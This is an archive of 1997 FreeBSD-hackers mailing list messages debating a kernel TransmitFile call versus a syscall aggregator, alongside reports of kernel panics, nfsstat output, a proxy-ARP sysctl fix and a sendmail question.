Terry Lambert cc: Ben Black , rssh@cki.ipri.kiev.ua, FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: <199705280034.RAA00781@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Terry Lambert wrote: > > > > how do you spell kludge? > > > > > > Why does this qualify as a kludge (and a better question might be "how do > > > you pronounce kludge?" :). > > > > it is a kludge because it is in there for EXACTLY one purpose. you > > couldn't use the facilities for any but transferring a file from one host > > to another. it is only there to get around a general problem for a > > specific application. that's a kludge. > > It's not generally useful, either. For instance, for POP3 and SMTP > mail processing, "." quoting must take place. You have to adulterate > the RFC's and *store* the data quoted (assuming that it will be going > out on the same type of, or similar, transport it came in on) if you > wish to use this facility for, for instance, POP3 lookup or SMTP > forwarding. I was not aware that the RFC's required you to store the data in any particular format on the hosts. I believe you are free to store it any way you choose: quoted, not quoted, encrypted, rot13'd, XORed, compressed, etc. The real problem is with the protocol, not the transfer facilitiy. Any transmission facility that requires in-band quoting will never be high performance. If you want a fast POP server, store the messages in transmission format. Same for SMTP. If you have to gateway, then convert them on input and store them for relay. That this makes more sense in some cases than others I'll readily admit. I still believe that this is primarily a protocol weakness, though. If you want to start talking about places for redesign, let's start with the protocols--they're the main source of the problem. Transmitfile-like APIs would be very general solutions if the protocols had been designed for high-performance transfer in the first place. -Chris From owner-freebsd-hackers Tue May 27 20:50:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA20620 for hackers-outgoing; Tue, 27 May 1997 20:50:59 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA20602 for ; Tue, 27 May 1997 20:50:56 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.5/8.7.3) with SMTP id UAA02827 for ; Tue, 27 May 1997 20:50:54 -0700 (PDT) Date: Tue, 27 May 1997 20:50:54 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: More 2.2.2 panics Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Not much too this one, unfortunately: chop# gdb -k kernel.21 vmcore.21 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i386-unknown-freebsd), Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)... IdlePTD 1c2000 current pcb at 1ac360 panic: pmap_copy_page: CMAP busy #0 0xf010f6d3 in boot () (kgdb) where #0 0xf010f6d3 in boot () #1 0xf010f992 in panic () #2 0xf01814c0 in trapwrite () I'm also still getting the deadc0de problem on 2 different machines that were upgraded to 2.2.2, along with the occasional panic in ipintr(). Any tipps appreciated. From owner-freebsd-hackers Tue May 27 20:58:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA20957 for hackers-outgoing; Tue, 27 May 1997 20:58:15 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA20952 for ; Tue, 27 May 1997 20:58:10 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id XAA12392; Tue, 27 May 1997 23:57:37 -0400 Date: Tue, 27 May 1997 23:57:36 -0400 (EDT) From: Ben Black To: Christopher Sedore cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > > it is a kludge because it is in there for EXACTLY one purpose. you > > couldn't use the facilities for any but transferring a file from one host > > to another. it is only there to get around a general problem for a > > specific application. that's a kludge. > > Gee, one of the most common applications for web servers, news servers, > ftp servers. Probably a general problem that represents 60-80% of today's > internet traffic. > and since 99% of the world's computers are connected to the internet as web, news, or ftp servers... > > > It seems to me that a good test set for what facilities should be in the > > > kernel might include: > > > > > > 1. can the kernel do it significantly more efficiently that the user? > > > > and if not, is that because the kernel needs to be reworked rather than > > hacked up to solve a single problem. > > If I understood the site you referenced in your other post, your > alternative is putting an IO interpreter into the kernel? Heck, why not > just put java in kernel space and write all the I/O in java. Sounds like > a smaller, faster kernel to me. Next you'll want interpreters to handle > complex permissions manipulation, and page remapping, etc. > 1) stick to what i actually said, and stop putting ridiculous words in my mouth. 2) it is not a complete lagnuage interpreter, it is simply a compact system for dynamically adding system call to the kernel by aggregating existing system calls. contrast this with your approach which requires adding special purpose code to the kernel for EVERY "common" sequence of syscalls. > > I prefer simple, reliable system calls to interpreters in the kernel any > day. I also prefer solutions that are likely to exist soon rather than > ones which may not exist for months or years. > so you prefer solutions that involve no thoughtful design and testing. this explains why you are pushing an obviously flawed solution implemented by M$. > > Not if that code can provide a non-trivial performance boost, *and* reduce > application code sizes by roughly the same amount multiplied by the number > of processes running using such facilities. > 1K reduction in the size of the 100 or so web server running on a pretty busy system at once...you saved a whole 100k! and all it cost was adding yet more uneeded bloat to the kernel. the solution i offered has the potential to boost performance for applications which aren't even around yet. your solution becomes bloat as soon as application needs change. > > > #2 is really a test question for a library rather than the kernel, but, > > > where applicable, it should also be applied to kernel calls. > > > > > > Maybe not, but I don't think I could even get my code to run under FBSD > > > without some non-trivial rearrangement because of facilities that don't > > > exist or are costly to use (I'm not happy about the idea of checking 800 > > > connections with an FD_ISSET() loop). > > > > > > > so use 800 threads with a single fd each. > > And I do this with FreeBSD using what, the thread package that implements > it as a select() in the background? So, in addition to reimplementing the > I/O subsystem, you'd like me to add multithreading, too? > it was an either or. and neither matters since i doubt you will actaully be implementing any of this. > > > > and you have presented no evidence that it needs to be in the kernel. i > > have suggested fbufs and various eros techniques while you have just > > listed why *something* is needed. > > > > it *can* be done cleanly and quickly assuming proper kernel support. > > adding an application specific system call to the kernel is just a bad idea. > > So far the kernel possibilities you have presented are not implemented for > FreeBSD and probably won't be any time in the near future. Some of them > have problems that don't have clear win/win outcomes (like I/O > interpreters in the kernel). > no, they are not yet implemented, but the source is there, the core team is eager to make the system better...what's stopping you? a small syscall aggregator in the kernel would take up perhaps 5-10k and provide limitless applications. your solution solves a single current problem and totally ignores the rest of the world. > I can certainly imagine that some or all of these may provide more optimal > I/O services. I don't think that you've demonstrated that the net gain of > providing all this generalized service will result in greater overall > efficiency than implementing my single, clean optimization, since I'd > argue that the majority use will be the simple case, and you'll have made > that case less efficient than it might be otherwise. > of course you'd argue the majority would use the simple case: you are only considering a SINGLE application. > I think transmitfile has a win/win outcome--it is small and simple to > implement in the kernel, and provides code reduction and a non-trivial > performance boost on the userland side. > the code reduction is a non-issue and just because something *can* be implemented in the kernel doesn't mean it *should* be implemented in the kernel. if something is only supposed to help out a small fraction of applications it belongs in userland. show me how TransmitFile() helps emacs or gcc or xwin. i'd bet more people use those applications than run their own web/ftp/news servers on their machine. b3n From owner-freebsd-hackers Tue May 27 21:42:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA22944 for hackers-outgoing; Tue, 27 May 1997 21:42:28 -0700 (PDT) Received: from bmccane.uit.net (bmccane.uit.net [208.129.189.48]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA22934 for ; Tue, 27 May 1997 21:42:23 -0700 (PDT) Received: from bmccane.uit.net (localhost.mccane.com [127.0.0.1]) by bmccane.uit.net (8.8.5/8.8.5) with ESMTP id XAA26946; Tue, 27 May 1997 23:41:49 -0500 (CDT) Message-Id: <199705280441.XAA26946@bmccane.uit.net> X-Mailer: exmh version 2.0gamma 1/27/96 To: Christopher Sedore cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-reply-to: Your message of "Tue, 27 May 1997 18:00:36 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 27 May 1997 23:41:48 -0500 From: Wm Brian McCane Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Your only need to loop 25 times to check 800 file descriptors, so whats the big deal??? I look at fds_bits (the array of longs under fd_set), for a non-zero value, then use ffs to figure out which descriptor(s) are active for a large number of open descriptors. I then clear the bit, and continue checking where I left off. Fairly inexpensive. brian From owner-freebsd-hackers Tue May 27 22:30:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA25342 for hackers-outgoing; Tue, 27 May 1997 22:30:35 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id WAA25329 for ; Tue, 27 May 1997 22:30:31 -0700 (PDT) Message-Id: <199705280530.WAA25329@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA275687128; Wed, 28 May 1997 15:25:28 +1000 From: Darren Reed Subject: Re: async socket stuff To: terry@lambert.org (Terry Lambert) Date: Wed, 28 May 1997 15:25:28 +1000 (EST) Cc: cmsedore@mailbox.syr.edu, FreeBSD-Hackers@FreeBSD.ORG In-Reply-To: <199705271706.KAA15497@phaeton.artisoft.com> from "Terry Lambert" at May 27, 97 10:06:49 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In some mail from Terry Lambert, sie said: [...] > Such a call gate would be applicable to all system calls, including > sockets (I assume you want async completion on socket calls to interleave > DNS operations 8-)). Been there, done that with DNS. Look in the contrib stuff for BIND. Developed it when similar code was added to the IRC server (ircd) although that is a much more complex implementation with its own cache, etc. Darren From owner-freebsd-hackers Tue May 27 23:00:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA26632 for hackers-outgoing; Tue, 27 May 1997 23:00:40 -0700 (PDT) Received: from relay.nuxi.com (nuxi.ucdavis.edu [128.120.175.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA26625 for ; Tue, 27 May 1997 23:00:38 -0700 (PDT) Received: from dragon.nuxi.com (dav1-22.calweb.com [207.211.82.22]) by relay.nuxi.com (8.8.5/8.6.12) with ESMTP id XAA12817 for ; Tue, 27 May 1997 23:00:37 -0700 (PDT) Received: (from obrien@localhost) by dragon.nuxi.com (8.8.5/8.7.3) id GAA22602; Wed, 28 May 1997 06:00:31 GMT Message-ID: <19970527230030.25038@dragon.nuxi.com> Date: Tue, 27 May 1997 23:00:30 -0700 From: "David O'Brien" To: hackers@freebsd.org Subject: is nfsstat broken in 2.2? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.74 X-Warning: Mutt Bites! X-Operating-System: FreeBSD 2.2-STABLE Organization: The NUXI *BSD group X-PGP-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Keyid: 34F9F9D5 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk bash# nfsstat nfsstat: sysctl: No such file or directory This is on 2.2-STABLE (~ 2.2.2). (or I just not understand how to run it?) -- -- David (obrien@NUXI.com -or- obrien@{FreeBSD,OpenBSD}.org) From owner-freebsd-hackers Wed May 28 02:53:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA04010 for hackers-outgoing; Wed, 28 May 1997 02:53:35 -0700 (PDT) Received: from pat.idt.unit.no (0@pat.idt.unit.no [129.241.103.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA03998 for ; Wed, 28 May 1997 02:53:33 -0700 (PDT) Received: from idt.unit.no (tegge@ikke.idi.ntnu.no [129.241.111.65]) by pat.idt.unit.no (8.8.5/8.8.5) with ESMTP id LAA22074; Wed, 28 May 1997 11:53:25 +0200 (MET DST) Message-Id: <199705280953.LAA22074@pat.idt.unit.no> To: mrcpu@cdsnet.net Cc: hackers@FreeBSD.ORG Subject: Re: More 2.2.2 panics In-Reply-To: Your message of "Tue, 27 May 1997 20:50:54 -0700 (PDT)" References: X-Mailer: Mew version 1.06 on Emacs 19.34.1 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Wed, 28 May 1997 11:53:25 +0200 From: Tor Egge Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > Not much too this one, unfortunately: > > chop# gdb -k kernel.21 vmcore.21 > GDB is free software and you are welcome to distribute copies of it > under certain conditions; type "show copying" to see the conditions. > There is absolutely no warranty for GDB; type "show warranty" for details. > GDB 4.16 (i386-unknown-freebsd), > Copyright 1996 Free Software Foundation, Inc...(no debugging symbols > found)... > IdlePTD 1c2000 > current pcb at 1ac360 > panic: pmap_copy_page: CMAP busy > #0 0xf010f6d3 in boot () > (kgdb) where > #0 0xf010f6d3 in boot () > #1 0xf010f992 in panic () > #2 0xf01814c0 in trapwrite () Duplicate of PR kern/3216 ? - Tor Egge From owner-freebsd-hackers Wed May 28 03:21:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA04911 for hackers-outgoing; Wed, 28 May 1997 03:21:23 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA04905 for ; Wed, 28 May 1997 03:21:15 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA14576 for hackers@FreeBSD.ORG; Wed, 28 May 1997 12:21:10 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id MAA03957; Wed, 28 May 1997 12:15:17 +0200 (MET DST) Message-ID: <19970528121517.XD40000@uriah.heep.sax.de> Date: Wed, 28 May 1997 12:15:17 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: is nfsstat broken in 2.2? References: <19970527230030.25038@dragon.nuxi.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <19970527230030.25038@dragon.nuxi.com>; from David O'Brien on May 27, 1997 23:00:30 -0700 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As David O'Brien wrote: > bash# nfsstat > nfsstat: sysctl: No such file or directory > > This is on 2.2-STABLE (~ 2.2.2). That's on a fairly recent 2.2-STABLE build (last weekend). Although, i find it interesting to get a negative cache hit count for bioread. :-} j@ida 109% nfsstat Client Info: Rpc Counts: Getattr Setattr Lookup Readlink Read Write Create Remove 24566 4797 174428 189 20075 16380 1639 201 Rename Link Symlink Mkdir Rmdir Readdir RdirPlus Access 192 0 0 107 8 649 0 3515 Mknod Fsstat Fsinfo PathConf Commit GLease Vacate Evict 0 18 15 0 0 0 0 0 Rpc Info: TimedOut Invalid X Replies Retries Requests 0 0 249 500 246779 Cache Info: Attr Hits Misses Lkup Hits Misses BioR Hits Misses BioW Hits Misses 930104 24566 506490 174046 -3316 19898 226441 16380 BioRLHits Misses BioD Hits Misses DirE Hits Misses 9037 189 5349 468 2759 0 Server Info: Getattr Setattr Lookup Readlink Read Write Create Remove 360 4 512 0 28 1068 113 0 Rename Link Symlink Mkdir Rmdir Readdir RdirPlus Access 0 0 0 0 0 17 0 0 Mknod Fsstat Fsinfo PathConf Commit GLease Vacate Evict 0 8 0 0 0 0 0 0 Server Ret-Failed 318 Server Faults 0 Server Cache Stats: Inprog Idem Non-idem Misses 3 0 2 12254 Server Lease Stats: Leases PeakL GLeases 0 0 0 Server Write Gathering: WriteOps WriteRPC Opsaved 1006 1068 62 j@ida 110% uname -sr FreeBSD 2.2-STABLE -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed May 28 03:27:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA05100 for hackers-outgoing; Wed, 28 May 1997 03:27:14 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA05092; Wed, 28 May 1997 03:27:09 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id LAA16895; Wed, 28 May 1997 11:51:16 +0200 From: Luigi Rizzo Message-Id: <199705280951.LAA16895@labinfo.iet.unipi.it> Subject: a routing problem... To: isp@freebsd.org Date: Wed, 28 May 1997 11:51:16 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, I would like to place a router on a /24 net as follows: X.Y.Z.0/24 X.Y.Z.208/28 --+---.....---+------+- -+----+-----+ | | | | | | H1 ..... H3 +--[router]----+ H4 H5 the router (a FreeBSD machine) has 2 interfaces configured as follows: ed2: X.Y.Z.26 netmask 0xffffff00 on the /24 side de0: X.Y.Z.218 netmask 0xfffffff0 on the /28 side I would like the router to do proxyarp on the /24 side for machines on the /28 side. ppp has a simple way to allow this, but I haven't found a suitable solution now. Any idea ? Thanks Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Wed May 28 07:28:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA13175 for hackers-outgoing; Wed, 28 May 1997 07:28:56 -0700 (PDT) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA13163; Wed, 28 May 1997 07:28:37 -0700 (PDT) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id PAA17230; Wed, 28 May 1997 15:54:00 +0200 From: Luigi Rizzo Message-Id: <199705281354.PAA17230@labinfo.iet.unipi.it> Subject: arp proxyall (was: Re: A routing problem...) To: joerg_wunsch@uriah.heep.sax.de Date: Wed, 28 May 1997 15:54:00 +0200 (MET DST) Cc: isp@freebsd.org, hackers@freebsd.org In-Reply-To: <19970528152722.QY65337@uriah.heep.sax.de> from "J Wunsch" at May 28, 97 03:27:03 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > As Luigi Rizzo wrote: > > ed2: X.Y.Z.26 netmask 0xffffff00 on the /24 side > > de0: X.Y.Z.218 netmask 0xfffffff0 on the /28 side > > > > I would like the router to do proxyarp on the /24 side for machines on > > the /28 side. ppp has a simple way to allow this, but I haven't found a > > suitable solution now. Any idea ? > > I have no idea what `arpproxyall' does. However, if all else fails, Thanks for the hint. It turns out that sysctl -w net.link.ether.inet.proxyall=1 does exactly what I need. Cheers Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Wed May 28 07:32:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA13472 for hackers-outgoing; Wed, 28 May 1997 07:32:42 -0700 (PDT) Received: from mailer.syr.edu (mailer.syr.edu [128.230.20.20]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA13467 for ; Wed, 28 May 1997 07:32:39 -0700 (PDT) Received: from gamera.syr.edu by mailer.syr.edu (LSMTP for Windows NT v1.1a) with SMTP id <0.7657B100@mailer.syr.edu>; Wed, 28 May 1997 10:32:37 -0400 Received: from localhost (cmsedore@localhost) by gamera.syr.edu (8.8.5/8.8.5) with SMTP id KAA16501; Wed, 28 May 1997 10:32:33 -0400 (EDT) X-Authentication-Warning: gamera.syr.edu: cmsedore owned process doing -bs Date: Wed, 28 May 1997 10:32:32 -0400 (EDT) From: Christopher Sedore X-Sender: cmsedore@gamera.syr.edu To: Ben Black cc: Ruslan Shevchenko , FreeBSD-Hackers@FreeBSD.ORG Subject: Re: async socket stuff In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Tue, 27 May 1997, Ben Black wrote: > > > > > > it is a kludge because it is in there for EXACTLY one purpose. you > > > couldn't use the facilities for any but transferring a file from one host > > > to another. it is only there to get around a general problem for a > > > specific application. that's a kludge. > > > > Gee, one of the most common applications for web servers, news servers, > > ftp servers. Probably a general problem that represents 60-80% of today's > > internet traffic. > > > > and since 99% of the world's computers are connected to the internet as > web, news, or ftp servers... No argument with that point, though it was my impression that this was a primary use for FreeBSD. > > > > It seems to me that a good test set for what facilities should be in the > > > > kernel might include: > > > > > > > > 1. can the kernel do it significantly more efficiently that the user? > > > > > > and if not, is that because the kernel needs to be reworked rather than > > > hacked up to solve a single problem. > > > > If I understood the site you referenced in your other post, your > > alternative is putting an IO interpreter into the kernel? Heck, why not > > just put java in kernel space and write all the I/O in java. Sounds like > > a smaller, faster kernel to me. Next you'll want interpreters to handle > > complex permissions manipulation, and page remapping, etc. > > > > 1) stick to what i actually said, and stop putting ridiculous words in my > mouth. I didn't put words in your mouth, though my sarcasm might have been a bit excessive. > 2) it is not a complete lagnuage interpreter, it is simply a compact > system for dynamically adding system call to the kernel by aggregating > existing system calls. contrast this with your approach which requires > adding special purpose code to the kernel for EVERY "common" sequence of > syscalls. I understood this, but its case is not made by the docs I read. It looks like a nice thing, but I'd like to see more discussion and an implementation before I support it generally. > > > > I prefer simple, reliable system calls to interpreters in the kernel any > > day. I also prefer solutions that are likely to exist soon rather than > > ones which may not exist for months or years. > > > > so you prefer solutions that involve no thoughtful design and testing. > this explains why you are pushing an obviously flawed solution > implemented by M$. The fact that something is simple does not mean that there was no thought involved. This is an example of something that is a simple addition that provides a nice performance boost for what I thought were important applications. If you're that concerned about bloat, perhaps it should be made an LKM. > > > > Not if that code can provide a non-trivial performance boost, *and* reduce > > application code sizes by roughly the same amount multiplied by the number > > of processes running using such facilities. > > > > 1K reduction in the size of the 100 or so web server running on a pretty > busy system at once...you saved a whole 100k! and all it cost was adding > yet more uneeded bloat to the kernel. the solution i offered has the > potential to boost performance for applications which aren't even around > yet. your solution becomes bloat as soon as application needs change. I'm generally willing to trade off 100k for 1k in the kernel if I get a nice performance boost. > > > > #2 is really a test question for a library rather than the kernel, but, > > > > where applicable, it should also be applied to kernel calls. > > > > > > > > Maybe not, but I don't think I could even get my code to run under FBSD > > > > without some non-trivial rearrangement because of facilities that don't > > > > exist or are costly to use (I'm not happy about the idea of checking 800 > > > > connections with an FD_ISSET() loop). > > > > > > > > > > so use 800 threads with a single fd each. > > > > And I do this with FreeBSD using what, the thread package that implements > > it as a select() in the background? So, in addition to reimplementing the > > I/O subsystem, you'd like me to add multithreading, too? > > > > it was an either or. and neither matters since i doubt you will actaully > be implementing any of this. My point was that the only thread packages available now (corrections welcome) just use non-blocking I/O and select() to simulate threads in userland. I'm not sure what you are refering to with regard to implementation. I already have an application that runs with 800 or so threads on NT, each managing a connection. NT is bugging me with a few problems I can't get Microsoft to address. I'm trying to figure out what I have to do to get a FreeBSD port with the same (or better) performance, or if I'm better off pushing on Microsoft to fix the problems I have with NT. I'm getting to the point where MS is a bit too unresponsive at the same time they're arrogant. > > > > > > and you have presented no evidence that it needs to be in the kernel. i > > > have suggested fbufs and various eros techniques while you have just > > > listed why *something* is needed. > > > > > > it *can* be done cleanly and quickly assuming proper kernel support. > > > adding an application specific system call to the kernel is just a bad idea. > > > > So far the kernel possibilities you have presented are not implemented for > > FreeBSD and probably won't be any time in the near future. Some of them > > have problems that don't have clear win/win outcomes (like I/O > > interpreters in the kernel). > > > > no, they are not yet implemented, but the source is there, the core team > is eager to make the system better...what's stopping you? Time. I probably could implement transmitfile for FreeBSD in a few weeks with everything else I have on my plate. I could not reengineer FreeBSD's I/O system in 10x that timeframe. > a small syscall aggregator in the kernel would take up perhaps 5-10k and > provide limitless applications. your solution solves a single current > problem and totally ignores the rest of the world. No disagreement here. I'd be happy to see your solution implemented, and I'd use it if it provided benefit to me. > > I can certainly imagine that some or all of these may provide more optimal > > I/O services. I don't think that you've demonstrated that the net gain of > > providing all this generalized service will result in greater overall > > efficiency than implementing my single, clean optimization, since I'd > > argue that the majority use will be the simple case, and you'll have made > > that case less efficient than it might be otherwise. > > > > of course you'd argue the majority would use the simple case: you are > only considering a SINGLE application. I'm willing to argue that your solution would, in a majority of cases, be used to implement mine. Mine would be faster and smaller for this case. I'll grant that this is a single application (or better said, single problem) solution. I happen to think it is a problem worthy of a solution. In the future, when a better I/O system (like the one you describe/reference) comes along, my call could be implemented in a library. > > I think transmitfile has a win/win outcome--it is small and simple to > > implement in the kernel, and provides code reduction and a non-trivial > > performance boost on the userland side. > > > > the code reduction is a non-issue and just because something *can* be > implemented in the kernel doesn't mean it *should* be implemented in the > kernel. if something is only supposed to help out a small fraction of > applications it belongs in userland. show me how TransmitFile() helps > emacs or gcc or xwin. i'd bet more people use those applications than > run their own web/ftp/news servers on their machine. Maybe so, but I don't see how it negatively affects them in any serious way. I do see how it can offer significant benefits to people running web/ftp/news servers where FreeBSD is trying to gain usage. My main point is that it cannot be implemented outside the kernel with what I would consider to be reasonable efficiency. If the async I/O stuff eliminates the buffer copies then some portion of my argument becomes moot. Even then I might still argue for its existence. -Chris From owner-freebsd-hackers Wed May 28 08:32:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA16047 for hackers-outgoing; Wed, 28 May 1997 08:32:32 -0700 (PDT) Received: from asteroid.intermedia.ru ([194.85.158.35]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA16038 for ; Wed, 28 May 1997 08:32:13 -0700 (PDT) Received: from asteroid.intermedia.ru (localhost.intermedia.ru [127.0.0.1]) by asteroid.intermedia.ru (8.8.5/8.8.5) with ESMTP id TAA15471 for ; Wed, 28 May 1997 19:36:37 +0400 (MSD) Message-Id: <199705281536.TAA15471@asteroid.intermedia.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: hackers@freebsd.org Subject: 8 bit autoconvert Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 28 May 1997 19:36:35 +0400 From: Alex Povolotsky Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello! I've tried to stop sendmail from autoconverting 8-bit to Base64. I only was able to disable BOTH 8-bit to MIME and MIME to 8-bit autoconvert, but I need to have MIME to 8 bit. I can of course just hack sendmail source, but I dislike that. O EightBitMode=pass8 seems to have no effect. Alex. From owner-freebsd-hackers Wed May 28 08:50:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA17276 for hackers-outgoing; Wed, 28 May 1997 08:50:17 -0700 (PDT) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA17266 for ; Wed, 28 May 1997 08:50:09 -0700 (PDT) Received: from suburbia.net (suburbia.net [198.142.2.24]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id IAA24378 for ; Wed, 28 May 1997 08:53:18 -0700 (PDT) Received: (qmail 8679 invoked by uid 110); 28 May 1997 15:49:54 -0000 MBOX-Line: From owner-netdev@athena.nuclecu.unam.mx Wed May 28 15:11:54 1997 remote from suburbia.net Delivered-To: proff@suburbia.net Received: (qmail 3422 invoked from network); 28 May 1997 15:11:52 -0000 Received: from peyote-asesino.nuclecu.unam.mx (qmailr@132.248.29.202) by suburbia.net with SMTP; 28 May 1997 15:11:52 -0000 Received: (qmail 27829 invoked by alias); 28 May 1997 13:33:40 -0000 Delivered-To: netdev-outgoing@peyote-asesino.nuclecu.unam.mx Received: (qmail 27820 invoked from network); 28 May 1997 13:33:39 -0000 Received: from athena.nuclecu.unam.mx (majordom@132.248.29.9) by peyote-asesino.nuclecu.unam.mx with SMTP; 28 May 1997 13:33:39 -0000 Received: (from majordom@localhost) by athena.nuclecu.unam.mx (8.8.5/8.8.5) id JAA22025 for netdev-outgoing; Wed, 28 May 1997 09:20:22 -0500 Received: from inner.net (avarice.inner.net [198.82.204.99]) by athena.nuclecu.unam.mx (8.8.5/8.8.5) with ESMTP id JAA22002 for ; Wed, 28 May 1997 09:19:08 -0500 Received: from inner.net (beavis.ipv6.nrl.navy.mil [132.250.90.8.3547]) by inner.net (8.8.5/8.8.5) with ESMTP id OAA14132; Wed, 28 May 1997 14:25:47 GMT Message-Id: <199705281425.OAA14132@inner.net> To: netdev@roxanne.nuclecu.unam.mx cc: ipv6-users@itd.nrl.navy.mil Subject: IPv6 header quick reference X-Copyright: Copyright 1997, Craig Metz, All Rights Reserved. X-Reposting: With explicit permission only Date: Wed, 28 May 1997 10:25:40 -0400 From: Craig Metz 